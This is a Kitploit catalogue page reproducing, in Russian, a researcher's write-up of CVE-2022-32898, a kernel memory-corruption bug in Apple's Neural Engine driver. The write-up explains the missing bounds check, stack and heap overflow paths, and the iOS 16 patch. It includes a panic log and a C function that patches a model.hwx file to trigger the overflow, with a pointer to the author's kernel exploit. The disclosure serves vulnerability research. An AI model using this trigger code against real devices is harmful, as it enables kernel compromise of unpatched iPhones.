Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/ox1111/cve-2022-32898
Безопасность iOSАнализ уязвимостейЭксплуатацияОбратная инженерияМобильная безопасностьАппаратная БезопасностьЭксплуатация Бинарных Файлов
GitHubox1111/cve-2022-32898

CVE-2022-32898

Технический анализ и демонстрация эксплуатации CVE-2022-32898, уязвимости повреждения памяти ядра в драйвере Apple Neural Engine, с подробным реверс-инжинирингом и методами эксплуатации для ядра iOS.

Репозиторий
52 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-32898: ANE_ProgramCreate() множественное повреждение памяти ядра

23 ноября 2022 • Mohamed GHANNAM (@_simo36)

Комментарий автора

Я публикую ещё две уязвимости ядра iOS, доступные из стандартной песочницы приложений, для которых не требуется открывать UserClient:

4

+16 багов ядра, о которых я сообщил в Apple, были исправлены в iOS 16/16.1. В следующем месяце я выступлю на #POC2022 с рассказом о том, как я связывал некоторые баги для достижения r/w ядра, а после конференции будут опубликованы эксплойт ядра для iOS 15 и некоторые другие критически опасные уязвимости.

Моя любимая функция IDA 8.0 на данный момент: искусственный импорт методов Obj-C 4

В iOS 15.5 beta 3 Apple удалила IOMallocAligned(KHEAP_DEFAULT,...) из IOSharedDataQueue/IODataQueue::initWithCapacity() (теперь используется kernel_memory_allocate() с флагом KMA_DATA). Это был элегантный способ подготовить (groom) кучу ядра по умолчанию с помощью данных, контролируемых пользователем. RIP

6

Введение:

При реверс-инжиниринге процесса загрузки модели Apple Neural Engine на уровне ядра я обнаружил две интересные уязвимости повреждения памяти в коде, отвечающем за обработку функций нейронной сети в H11ANEIn::ANE_ProgramCreate_gated(). На мой взгляд, такие уязвимости легко найти при ручном аудите драйвера ядра, но почти невозможно обнаружить с помощью фаззеров, если только не создать что-то невероятно сложное.

Анализ:

Функции ZinComputeProgramGetNamesFromMultiPlaneLinear() и ZinComputeProgramGetNamesFromMultiPlaneTiledCompressed() отвечают за разбор входных и выходных данных процедуры, а точнее — за команду LC_THREAD с flavor потока 2 (ane_bind_state), у которой значение binding_type_info равно 4 и 5.

Насколько я могу судить, binding_type_info = 4 означает, что вход процедуры содержит более одного плана (plane), а binding_type_info = 5 означает, что вход не только содержит более одного плана, но и сжат.

Функция ZinComputeProgramGetNamesFromMultiPlaneLinear(), например, принимает 5 аргументов: указатель на load command, указатель на thread binding и три дополнительных выходных аргумента. Последний выходной аргумент planes — это массив, который будет содержать планы (или указатели ядра), чьё содержимое контролируется пользователем, а последний аргумент planeCount указывает, сколько планов (или указателей ядра) было скопировано в planes из файла model.hwx. Ниже приведено определение функции:

1

Из-за отсутствия проверки того, сколько планов может предоставить модель, указатели ядра могут быть записаны за пределы массива planes, что потенциально может привести ко многим интересным сценариям повреждения памяти.

Превращение повреждения памяти в переполнение стека:

Массив planes — это стековая переменная, расположенная в H11ANEIn::ANE_ProgramCreate_gated(), и при переполнении этой переменной (которая должна содержать несколько планов, до 4 элементов) более чем 4 планами могут быть повреждены и другие стековые переменные, что может привести к другим проблемам, таким как путаница типов (type confusion), поскольку перезаписываемые указатели ядра полностью контролируются пользователем.

Очевидно, что переполнение массива planes слишком большим количеством записей, скорее всего, перезапишет также стековый cookie и сохранённый указатель предыдущего стекового кадра, что приведёт к панике ядра. К счастью, общее количество планов полностью контролируется моделью, поэтому мы можем повредить несколько стековых переменных, не затрагивая эти чувствительные области стека.

Превращение повреждения памяти в переполнение кучи:

Ещё один интересный сценарий, как показано на изображении ниже, — возможность переполнить два heap-объекта: H11ANEProgramBindingInfo (строка 528) и H11ANEProgramCreateArgsStructOutput (строка 533).

2

root@kitploit:~
struct H11ANEProgramBindingInfo
{
        struct {
                uint32_t field_0;
                char names[8][512];
                uint32_t field_1004;
                char *procedure_name;
        } inputs[255], outputs[255];

};

Определение структуры H11ANEProgramCreateArgsStructOutput показано выше, и её повреждение может привести к следующим падениям:

root@kitploit:~
"panicString" : "panic(cpu 4 caller 0xfffffe00112e6184): Kernel data abort. at pc 0xfffffe0010a8a48c, lr 0x03effe0011b1b47c (saved state: 0xfffffe6089dca980)
  x0:  0x1122334411223344 x1:  0xfffffe3000ecff20  x2:  0x0000000000000040  x3:  0x0000000000000000
  x4:  0x0000000000000000 x5:  0x0000000000000000  x6:  0x00000000000000e8  x7:  0x0000000000000830
  x8:  0xfffffe608949c000 x9:  0xfffffe24cec0d1b0  x10: 0xfffffe24cd7d4010  x11: 0xfffffe1667fa93e0
  x12: 0x0000000000000001 x13: 0x0000000000000858  x14: 0xfffffe3000ed0760  x15: 0x00292a20736d6172
  x16: 0x5bd9fe0010a8a470 x17: 0xfffffe0013ad55d8  x18: 0x0000000000000000  x19: 0x0000000000000000
  x20: 0x0000000000000001 x21: 0xfffffe1b33ee3860  x22: 0xfffffe299a621a00  x23: 0xfffffe2999c72208
  x24: 0xfffffe3000ec0000 x25: 0x00000000e00002d1  x26: 0xfffffe608949c000  x27: 0xfffffe60895a2054
  x28: 0xfffffe6089dcb850 fp:  0xfffffe6089dcacd0  lr:  0x03effe0011b1b47c  sp:  0xfffffe6089dcacd0
  pc:  0xfffffe0010a8a48c cpsr: 0x00401208         esr: 0x96000004          far: 0x1122334411223344

Запуск уязвимости:

Что делает эти уязвимости интересными, так это то, что они не требуют прямого взаимодействия с ядром, другими словами, не нужно открывать соединение UserClient, достаточно просто скомпилировать (или создать) вредоносную модель и позволить aned загрузить её от вашего имени.

Как вы, возможно, знаете, чтобы загрузить модель через aned, модель должна быть скомпилирована системным сервисом ANECompilerService или подписана Apple. Другими словами, приложение должно предоставить aned каталог .mlmodelc, который затем запросит у ANECompilerService компиляцию в model.hwx с использованием двух фреймворков: Espresso и ANECompiler. Если вы не знаете, о чём я говорю, можете взглянуть на слайды #POC2022 здесь, где я дал базовый обзор того, как работает aned. Кроме того, более подробно о процессе компиляции можно узнать в отличном выступлении на BlackHat Wish Wu о его исследовании ANE, а также в его замечательном инструменте, который в точности имитирует то, что делает ANECompilerService.

В нашем случае нам нужен model.hwx с процедурой, чей вход (или выход) поддерживает несколько планов. К сожалению, такой модели нет в форматах mlmodel, mlmodelc или mlpackage, и лишь несколько моделей в формате hwx предоставлены Apple. Анализ этих hwx-моделей показал, что они используют какие-то странные/недокументированные операции нейронных сетей, которые не существуют в кодовой базе открытой библиотеки coremltools, что намекает на то, что эти сетевые слои, вероятно, предназначены только для внутреннего использования. Однако реализация этих операций определяется фреймворком Espresso, и требуется некоторый реверс-инжиниринг, чтобы понять, какие входы и выходы они поддерживают и как правильно использовать их в качестве слоя внутри нейронной сети. Поскольку фреймворк написан на C++ со STL, мне было неинтересно реверсить эту операцию, потому что это заняло бы вечность.

Именно это стало главной причиной, которая привела меня к обнаружению CVE-2022-32845: это не только позволило мне избежать реверса этого пугающего фреймворка, но и сэкономило мне сотни часов на изучение продвинутых тем машинного обучения.

Поэтому я взял простой model.hwx и пропатчил одну из его команд LC_THREAD, чтобы воспроизвести желаемый результат в ane_bind_state, а затем использовал CVE-2022-32845, чтобы обманом заставить aned загрузить его так, как будто он подписан Apple; этого было достаточно, чтобы продемонстрировать уязвимость в Apple.

Функция, которая патчит модель, показана ниже, и вы можете позаимствовать кое-какой код из моего эксплойта ядра weightBufs , если хотите сами воспроизвести уязвимость.

root@kitploit:~
void patch_hwx(const mach_header_64 *mh,size_t mh_size)
{
        if((mh->magic != 0xfeedface) && (mh->magic != 0xbeefface)) {
                dbg("[-] Bad Mach-O file \n");
                return ;
        }

        struct load_command *lc = NULL;

        FOR_EACH_COMMAND {

                if (lc->cmd != LC_THREAD)
                        continue;

                dbg("LC_THREAD command found \n");

                compute_thread_command *thread = (compute_thread_command *)lc;
                u32 name_off = 0;
                switch (thread->flavor) {
                case THREAD_BINDING: {
                        name_off = *(uint32_t*)((char*)thread + 0x18);
                        dbg("Binding Name \n");
                        compute_thread_binding * bd =
                                (compute_thread_binding *)&thread->thread_states;

                        bd->binding_typeinfo = 4;
                        bd->field4 = 1;

                        u32 plane_count = 0x30;
                        char *buf_start = (char*)lc + 0x20;
                        *(u32 *) buf_start = 0;
                        *(u32 *) (buf_start + 0x10) = plane_count;
                        char *_ptr = buf_start + 0x6C;
                        int i = 0;
                        uint64_t off = 0;

                        do {
                                if(off == 0)
                                        off = (unsigned int)(_ptr + 4 - (char*)mh) + 8 ;
                                *(unsigned int *)_ptr = mh_size;

                                u64 *pp = (u64 *)&_ptr[4];
                                for(int k = 0; k < 4;k++)
                                        pp[k] = 0x1122334411223344;
                                _ptr += 0x68;

                        }while (i++ < plane_count);

                        patched = true;

                        return;
                }
                case THREAD_PROCEDURE_OPERATION:
                case THREAD_PROCEDURE:
                default:
                        break;
                }

                dbg("\t ProcedureName '%s' \n",(char*)thread + name_off);

        }

}

Патч:

Apple устранила проблему в iOS 16, добавив некоторые проверки в обе уязвимые функции, ограничивающие количество передаваемых планов четырьмя записями, как показано ниже: 3

На этом всё, скоро увидимся!

Скачать инструмент